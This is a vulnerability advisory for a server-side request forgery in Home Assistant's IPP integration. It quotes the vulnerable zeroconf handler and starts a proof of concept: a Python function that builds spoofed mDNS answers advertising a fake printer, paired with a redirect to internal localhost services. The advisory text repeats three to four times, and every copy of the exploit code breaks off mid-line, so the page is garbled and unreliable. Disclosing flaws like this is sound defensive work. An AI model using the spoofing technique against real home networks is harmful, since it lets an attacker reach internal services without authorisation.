CVE-2026-91129

Home Assistant is open source home automation software focused on local control and privacy. Prior to 2026.2.3, the IPP integration automatically processed unauthenticated _ipp._tcp.local mDNS announcements in homeassistant/components/ipp/config_flow.py, where async_step_zeroconf passed attacker-controlled host, port, and base_path values to validate_input for printer metadata retrieval. Because the shared HTTP client followed attacker-controlled cross-origin redirects without blocking loopback targets, a local-network attacker could redirect the request to 127.0.0.1 or another internal service without user interaction or prior IPP configuration. This issue is fixed in version 2026.2.3.

Home Assistant is open source home automation software focused on local control and privacy. Prior to 2026.2.3, the IPP integration automatically processed unauthenticated _ipp._tcp.local mDNS announcements in homeassistant/components/ipp/config_flow.py, where async_step_zeroconf passed attacker-controlled host, port, and base_path values to validate_input for printer metadata retrieval. Because the shared HTTP client followed attacker-controlled cross-origin redirects without blocking loopback targets, a local-network attacker could redirect the request to 127.0.0.1 or another internal service without user interaction or prior IPP configuration. This issue is fixed in version 2026.2.3.

Summary

Home Assistant Green is vulnerable to a Server-Side Request Forgery (SSRF) via the mDNS/Zeroconf IPP integration. An unauthenticated attacker on the local network can send a crafted mDNS response to trick Home Assistant into making HTTP requests to arbitrary hosts, including internal services bound to localhost. The IPP integration automatically processes _ipp._tcp.local service announcements without any user interaction or authentication, and follows HTTP redirects from the attacker-controlled host.

Details

Home Assistant listens for mDNS service announcements on port 5353. When a service of type _ipp._tcp.local is discovered, the IPP integration's zeroconf handler (homeassistant/components/ipp/config_flow.py) processes it automatically.

The async_step_zeroconf method extracts host, port, and base_path directly from the mDNS discovery info without validation:

async def async_step_zeroconf(
    self, discovery_info: ZeroconfServiceInfo
) -> ConfigFlowResult:
    host = discovery_info.host
    port = discovery_info.port
    zctype = discovery_info.type
    name = discovery_info.name.replace(f".{zctype}", "")
    tls = zctype == "_ipps._tcp.local."
    base_path = discovery_info.properties.get("rp", "ipp/print")

    self.discovery_info.update(
        {
            CONF_HOST: host,
            CONF_PORT: port,
            CONF_SSL: tls,
            CONF_VERIFY_SSL: False,
            CONF_BASE_PATH: f"/{base_path}",
            CONF_NAME: name,
            CONF_UUID: unique_id,
        }
    )

These values are then passed to validate_input(), which constructs an HTTP request (IPP over HTTP) to the attacker-controlled host:

async def validate_input(hass: HomeAssistant, data: dict) -> dict[str, Any]:
    session = async_get_clientsession(hass)
    ipp = IPP(
        host=data[CONF_HOST],
        port=data[CONF_PORT],
        base_path=data[CONF_BASE_PATH],
        tls=data[CONF_SSL],
        verify_ssl=data[CONF_VERIFY_SSL],
        session=session,
    )
    printer = await ipp.printer()
    return {CONF_SERIAL: printer.info.serial, CONF_UUID: printer.info.uuid}

The core issue is that during the intentional discovery and retrieval of additional device information, the HTTP session blindly follows redirects. This allows an attacker to point the request at 127.0.0.1 or other internal services that are not otherwise network-accessible.

An attacker crafts an mDNS response advertising a fake IPP printer that points to the attacker's IP. The attacker's HTTP server then responds with a 302 redirect to any internal endpoint, causing Home Assistant to make the request on the attacker's behalf.

PoC

The PoC demonstrates the SSRF by sending a crafted mDNS response that causes Home Assistant to connect to the attacker's HTTP server, which redirects the request to an internal service.

Prerequisites

• Attacker machine on the same local network as the Home Assistant Green device
• Python 3 with dependencies: pip install -r requirements.txt

Exploit Code

The core mDNS spoofing function builds and sends a DNS response advertising a fake IPP printer:

def build_dns_response(service_name, service_type, attacker_ip, attacker_port):
    transaction_id = 0x0000  # mDNS always 0
    flags = 0x8400           # Standard response, authoritative answer
    qdcount = 0
    ancount = 4              # 4 answers (service_type, SRV, TXT, A)
    nscount = 0
    arcount = 0

    SRV = service_name + '.' + service_type
    header = struct.pack("!HHHHHH", transaction_id, flags, qdcount, ancount, nscount, arcount)

    def encode_name(name):
        parts = name.split(".")
        out = b""
        for p in parts:
            out += bytes([len(p)]) + p.encode("utf-8")
        out += b"\x00"
        return out

    answers = b""

    # PTR record: _ipp._tcp.local -> meomeo._ipp._tcp.local
    answers += encode_name(service_type)
    answers += struct.pack("!HHI", 12,…

Home Assistant is open source home automation software focused on local control and privacy. Prior to 2026.2.3, the IPP integration automatically processed unauthenticated _ipp._tcp.local mDNS announcements in homeassistant/components/ipp/config_flow.py, where async_step_zeroconf passed attacker-controlled host, port, and base_path values to validate_input for printer metadata retrieval. Because the shared HTTP client followed attacker-controlled cross-origin redirects without blocking loopback targets, a local-network attacker could redirect the request to 127.0.0.1 or another internal service without user interaction or prior IPP configuration. This issue is fixed in version 2026.2.3.

Home Assistant is open source home automation software focused on local control and privacy. Prior to 2026.2.3, the IPP integration automatically processed unauthenticated _ipp._tcp.local mDNS announcements in homeassistant/components/ipp/config_flow.py, where async_step_zeroconf passed attacker-controlled host, port, and base_path values to validate_input for printer metadata retrieval. Because the shared HTTP client followed attacker-controlled cross-origin redirects without blocking loopback targets, a local-network attacker could redirect the request to 127.0.0.1 or another internal service without user interaction or prior IPP configuration. This issue is fixed in version 2026.2.3.

Summary

Home Assistant Green is vulnerable to a Server-Side Request Forgery (SSRF) via the mDNS/Zeroconf IPP integration. An unauthenticated attacker on the local network can send a crafted mDNS response to trick Home Assistant into making HTTP requests to arbitrary hosts, including internal services bound to localhost. The IPP integration automatically processes _ipp._tcp.local service announcements without any user interaction or authentication, and follows HTTP redirects from the attacker-controlled host.

Details

Home Assistant listens for mDNS service announcements on port 5353. When a service of type _ipp._tcp.local is discovered, the IPP integration's zeroconf handler (homeassistant/components/ipp/config_flow.py) processes it automatically.

The async_step_zeroconf method extracts host, port, and base_path directly from the mDNS discovery info without validation:

async def async_step_zeroconf(
    self, discovery_info: ZeroconfServiceInfo
) -> ConfigFlowResult:
    host = discovery_info.host
    port = discovery_info.port
    zctype = discovery_info.type
    name = discovery_info.name.replace(f".{zctype}", "")
    tls = zctype == "_ipps._tcp.local."
    base_path = discovery_info.properties.get("rp", "ipp/print")

    self.discovery_info.update(
        {
            CONF_HOST: host,
            CONF_PORT: port,
            CONF_SSL: tls,
            CONF_VERIFY_SSL: False,
            CONF_BASE_PATH: f"/{base_path}",
            CONF_NAME: name,
            CONF_UUID: unique_id,
        }
    )

These values are then passed to validate_input(), which constructs an HTTP request (IPP over HTTP) to the attacker-controlled host:

async def validate_input(hass: HomeAssistant, data: dict) -> dict[str, Any]:
    session = async_get_clientsession(hass)
    ipp = IPP(
        host=data[CONF_HOST],
        port=data[CONF_PORT],
        base_path=data[CONF_BASE_PATH],
        tls=data[CONF_SSL],
        verify_ssl=data[CONF_VERIFY_SSL],
        session=session,
    )
    printer = await ipp.printer()
    return {CONF_SERIAL: printer.info.serial, CONF_UUID: printer.info.uuid}

The core issue is that during the intentional discovery and retrieval of additional device information, the HTTP session blindly follows redirects. This allows an attacker to point the request at 127.0.0.1 or other internal services that are not otherwise network-accessible.

An attacker crafts an mDNS response advertising a fake IPP printer that points to the attacker's IP. The attacker's HTTP server then responds with a 302 redirect to any internal endpoint, causing Home Assistant to make the request on the attacker's behalf.

PoC

The PoC demonstrates the SSRF by sending a crafted mDNS response that causes Home Assistant to connect to the attacker's HTTP server, which redirects the request to an internal service.

Prerequisites

• Attacker machine on the same local network as the Home Assistant Green device
• Python 3 with dependencies: pip install -r requirements.txt

Exploit Code

The core mDNS spoofing function builds and sends a DNS response advertising a fake IPP printer:

def build_dns_response(service_name, service_type, attacker_ip, attacker_port):
    transaction_id = 0x0000  # mDNS always 0
    flags = 0x8400           # Standard response, authoritative answer
    qdcount = 0
    ancount = 4              # 4 answers (service_type, SRV, TXT, A)
    nscount = 0
    arcount = 0

    SRV = service_name + '.' + service_type
    header = struct.pack("!HHHHHH", transaction_id, flags, qdcount, ancount, nscount, arcount)

    def encode_name(name):
        parts = name.split(".")
        out = b""
        for p in parts:
            out += bytes([len(p)]) + p.encode("utf-8")
        out += b"\x00"
        return out

    answers = b""

    # PTR record: _ipp._tcp.local -> meomeo._ipp._tcp.local
    answers += encode_name(service_type)
    answers += struct.pack("!HHI", 12,…

Summary

Home Assistant Green is vulnerable to a Server-Side Request Forgery (SSRF) via the mDNS/Zeroconf IPP integration. An unauthenticated attacker on the local network can send a crafted mDNS response to trick Home Assistant into making HTTP requests to arbitrary hosts, including internal services bound to localhost. The IPP integration automatically processes _ipp._tcp.local service announcements without any user interaction or authentication, and follows HTTP redirects from the attacker-controlled host.

Details

Home Assistant listens for mDNS service announcements on port 5353. When a service of type _ipp._tcp.local is discovered, the IPP integration's zeroconf handler (homeassistant/components/ipp/config_flow.py) processes it automatically.

The async_step_zeroconf method extracts host, port, and base_path directly from the mDNS discovery info without validation:

async def async_step_zeroconf(
    self, discovery_info: ZeroconfServiceInfo
) -> ConfigFlowResult:
    host = discovery_info.host
    port = discovery_info.port
    zctype = discovery_info.type
    name = discovery_info.name.replace(f".{zctype}", "")
    tls = zctype == "_ipps._tcp.local."
    base_path = discovery_info.properties.get("rp", "ipp/print")

    self.discovery_info.update(
        {
            CONF_HOST: host,
            CONF_PORT: port,
            CONF_SSL: tls,
            CONF_VERIFY_SSL: False,
            CONF_BASE_PATH: f"/{base_path}",
            CONF_NAME: name,
            CONF_UUID: unique_id,
        }
    )

These values are then passed to validate_input(), which constructs an HTTP request (IPP over HTTP) to the attacker-controlled host:

async def validate_input(hass: HomeAssistant, data: dict) -> dict[str, Any]:
    session = async_get_clientsession(hass)
    ipp = IPP(
        host=data[CONF_HOST],
        port=data[CONF_PORT],
        base_path=data[CONF_BASE_PATH],
        tls=data[CONF_SSL],
        verify_ssl=data[CONF_VERIFY_SSL],
        session=session,
    )
    printer = await ipp.printer()
    return {CONF_SERIAL: printer.info.serial, CONF_UUID: printer.info.uuid}

The core issue is that during the intentional discovery and retrieval of additional device information, the HTTP session blindly follows redirects. This allows an attacker to point the request at 127.0.0.1 or other internal services that are not otherwise network-accessible.

An attacker crafts an mDNS response advertising a fake IPP printer that points to the attacker's IP. The attacker's HTTP server then responds with a 302 redirect to any internal endpoint, causing Home Assistant to make the request on the attacker's behalf.

PoC

The PoC demonstrates the SSRF by sending a crafted mDNS response that causes Home Assistant to connect to the attacker's HTTP server, which redirects the request to an internal service.

Prerequisites

• Attacker machine on the same local network as the Home Assistant Green device
• Python 3 with dependencies: pip install -r requirements.txt

Exploit Code

The core mDNS spoofing function builds and sends a DNS response advertising a fake IPP printer:

def build_dns_response(service_name, service_type, attacker_ip, attacker_port):
    transaction_id = 0x0000  # mDNS always 0
    flags = 0x8400           # Standard response, authoritative answer
    qdcount = 0
    ancount = 4              # 4 answers (service_type, SRV, TXT, A)
    nscount = 0
    arcount = 0

    SRV = service_name + '.' + service_type
    header = struct.pack("!HHHHHH", transaction_id, flags, qdcount, ancount, nscount, arcount)

    def encode_name(name):
        parts = name.split(".")
        out = b""
        for p in parts:
            out += bytes([len(p)]) + p.encode("utf-8")
        out += b"\x00"
        return out

    answers = b""

    # PTR record: _ipp._tcp.local -> meomeo._ipp._tcp.local
    answers += encode_name(service_type)
    answers += struct.pack("!HHI", 12,…